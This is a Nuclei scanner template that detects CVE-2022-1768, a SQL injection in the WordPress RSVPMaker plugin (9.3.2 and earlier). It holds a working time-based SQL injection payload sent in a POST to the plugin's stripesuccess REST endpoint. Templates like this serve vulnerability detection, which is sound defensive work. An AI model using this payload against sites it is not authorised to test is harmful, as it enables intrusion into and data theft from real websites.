id: CVE-2022-1768

info:
  name: WordPress RSVPMaker <=9.3.2 - SQL Injection
  author: edoardottt
  severity: high
  description: |
    WordPress RSVPMaker plugin through 9.3.2 contains a SQL injection vulnerability due to insufficient escaping and parameterization on user-supplied data passed to multiple SQL queries in ~/rsvpmaker-email.php. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://gist.github.com/Xib3rR4dAr/441d6bb4a5b8ad4b25074a49210a02cc
    - https://wordpress.org/plugins/rsvpmaker/
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=2725322%40rsvpmaker&new=2725322%40rsvpmaker&sfp_email=&sfph_mail=
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1768
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-1768
    cwe-id: CWE-89
    cpe: cpe:2.3:a:rsvpmaker_project:rsvpmaker:*:*:*:*:*:*:*:*
    epss-score: 0.72757
  metadata:
    max-request: 1
    verified: true
  tags: cve,cve2022,wordpress,wp-plugin,wp,sqli,rsvpmaker

http:
  - raw:
      - |
        @timeout: 15s
        POST /wp-json/rsvpmaker/v1/stripesuccess/anythinghere HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        rsvp_id=(select(0)from(select(sleep(5)))a)&amount=1234&email=randomtext

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'duration>=5'

      - type: word
        part: body
        words:
          - '"payment_confirmation_message":'

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200